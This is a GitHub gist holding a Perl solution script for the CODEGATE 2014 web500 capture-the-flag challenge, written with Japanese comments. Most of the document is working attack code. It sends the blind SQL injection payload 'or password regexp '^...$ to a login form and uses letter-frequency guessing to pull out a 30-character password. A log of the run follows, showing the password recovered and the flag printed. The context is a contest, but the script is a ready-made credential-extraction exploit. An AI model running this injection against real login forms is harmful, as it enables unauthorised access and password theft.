Created
February 24, 2014 10:13
-
-
Save akiym/9185050 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# CODEGATE 2014 web500 writeup (泣いている) | |
use 5.016; | |
use warnings; | |
use utf8; | |
use LWP::UserAgent; | |
# 150ワードあたりの文字出現数 | |
# a: 303 | |
# b: 115 | |
# c: 153 | |
# d: 157 | |
# e: 539 | |
# f: 154 | |
# g: 66 | |
# h: 143 | |
# i: 245 | |
# j: 4 | |
# k: 37 | |
# l: 186 | |
# m: 126 | |
# n: 262 | |
# o: 291 | |
# p: 99 | |
# r: 219 | |
# s: 337 | |
# t: 397 | |
# u: 107 | |
# v: 62 | |
# w: 93 | |
# x: 141 | |
# y: 69 | |
# z: 7 | |
# 出現率を考慮して、[abcdefhilmnorstux]で構成されているpasswordの場合のみblind sqliする | |
# (ほかの文字が含まれている場合はskip) | |
# また、eの出現率が異様に高いので、特別扱いする | |
# 以上より、1文字あたり4、5stepもしくは2stepでを推測することができるようになる | |
# eがたくさん出現してくれれば120step以内に済ませることができる :) | |
my ($UA, $LIMIT, $OFFSET, $PASSWORD); | |
RESTART: | |
warn "-" x 10 . "\n"; | |
$UA = LWP::UserAgent->new(cookie_jar => {}); | |
$LIMIT = 120; | |
$OFFSET = 0; | |
$PASSWORD = ''; | |
while (1) { | |
my $last_limit = $LIMIT; | |
if (check('[mnorstux]')) { | |
if (check('[mnor]')) { | |
if (check('[mn]')) { | |
if (check('m')) { | |
$PASSWORD .= 'm'; | |
} else { | |
$PASSWORD .= 'n'; | |
} | |
} else { | |
if (check('o')) { | |
$PASSWORD .= 'o'; | |
} else { | |
$PASSWORD .= 'r'; | |
} | |
} | |
} else { | |
if (check('[st]')) { | |
if (check('s')) { | |
$PASSWORD .= 's'; | |
} else { | |
$PASSWORD .= 't'; | |
} | |
} else { | |
if (check('u')) { | |
$PASSWORD .= 'u'; | |
} else { | |
$PASSWORD .= 'x'; | |
} | |
} | |
} | |
} elsif (check('[abcdfhil]')) { | |
if (check('[abcd]')) { | |
if (check('[ab]')) { | |
if (check('a')) { | |
$PASSWORD .= 'a'; | |
} else { | |
$PASSWORD .= 'b'; | |
} | |
} else { | |
if (check('c')) { | |
$PASSWORD .= 'c'; | |
} else { | |
$PASSWORD .= 'd'; | |
} | |
} | |
} else { | |
if (check('[fh]')) { | |
if (check('f')) { | |
$PASSWORD .= 'f'; | |
} else { | |
$PASSWORD .= 'h'; | |
} | |
} else { | |
if (check('i')) { | |
$PASSWORD .= 'i'; | |
} else { | |
$PASSWORD .= 'l'; | |
} | |
} | |
} | |
} else { | |
# eの出現率が高いので、2stepで済むようにしておく | |
$PASSWORD .= 'e'; | |
# 最初のeは無視しておく | |
if ($OFFSET == 0) { | |
goto RESTART; | |
} | |
} | |
if ($LIMIT < 0) { | |
goto RESTART; | |
} | |
$OFFSET++; | |
warn "limit: $LIMIT (" . ($last_limit - $LIMIT) . ")\n"; | |
warn "password: $PASSWORD (" . length($PASSWORD) . ")\n"; | |
if (length($PASSWORD) == 30) { | |
my $res = $UA->post('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/auth.php', | |
Content => { | |
password => $PASSWORD, | |
}, | |
); | |
if ($res->content =~ /Wrong password/) { | |
goto RESTART; | |
} else { | |
warn $res->content; | |
die "done"; | |
} | |
} | |
sleep 1; | |
} | |
sub check { | |
my ($pattern) = @_; | |
$LIMIT--; | |
my $p; | |
if ($OFFSET == 29) { # 最後 | |
$p = $PASSWORD . $pattern; | |
} else { | |
# 出現率の高い文字で構成されているものしか見ない | |
$p = $PASSWORD . $pattern . '[abcdefhilmnorstux]+'; | |
} | |
my $res = $UA->post('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php', | |
Content => { | |
password => qq{'or password regexp '^$p\$}, | |
}, | |
); | |
return $res->content =~ /True/; | |
} | |
# 実行結果: | |
# ---------- | |
# ---------- | |
# limit: 116 (4) | |
# password: n (1) | |
# limit: 114 (2) | |
# password: ne (2) | |
# limit: 109 (5) | |
# password: nea (3) | |
# limit: 107 (2) | |
# password: neae (4) | |
# limit: 103 (4) | |
# password: neaeo (5) | |
# limit: 98 (5) | |
# password: neaeoi (6) | |
# limit: 96 (2) | |
# password: neaeoie (7) | |
# limit: 92 (4) | |
# password: neaeoien (8) | |
# limit: 90 (2) | |
# password: neaeoiene (9) | |
# limit: 86 (4) | |
# password: neaeoieneo (10) | |
# limit: 84 (2) | |
# password: neaeoieneoe (11) | |
# limit: 80 (4) | |
# password: neaeoieneoex (12) | |
# limit: 76 (4) | |
# password: neaeoieneoext (13) | |
# limit: 74 (2) | |
# password: neaeoieneoexte (14) | |
# limit: 70 (4) | |
# password: neaeoieneoexteo (15) | |
# limit: 66 (4) | |
# password: neaeoieneoexteot (16) | |
# limit: 61 (5) | |
# password: neaeoieneoexteotf (17) | |
# limit: 57 (4) | |
# password: neaeoieneoexteotfo (18) | |
# limit: 53 (4) | |
# password: neaeoieneoexteotfox (19) | |
# limit: 49 (4) | |
# password: neaeoieneoexteotfoxo (20) | |
# limit: 45 (4) | |
# password: neaeoieneoexteotfoxor (21) | |
# limit: 40 (5) | |
# password: neaeoieneoexteotfoxord (22) | |
# limit: 38 (2) | |
# password: neaeoieneoexteotfoxorde (23) | |
# limit: 34 (4) | |
# password: neaeoieneoexteotfoxordeu (24) | |
# limit: 29 (5) | |
# password: neaeoieneoexteotfoxordeud (25) | |
# limit: 24 (5) | |
# password: neaeoieneoexteotfoxordeudl (26) | |
# limit: 19 (5) | |
# password: neaeoieneoexteotfoxordeudlh (27) | |
# limit: 14 (5) | |
# password: neaeoieneoexteotfoxordeudlhf (28) | |
# limit: 9 (5) | |
# password: neaeoieneoexteotfoxordeudlhfa (29) | |
# limit: 5 (4) | |
# password: neaeoieneoexteotfoxordeudlhfau (30) | |
# Congrats! the key is DontHeartMeBaby*$#@! at web500.pl line 138. | |
# done at web500.pl line 139. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment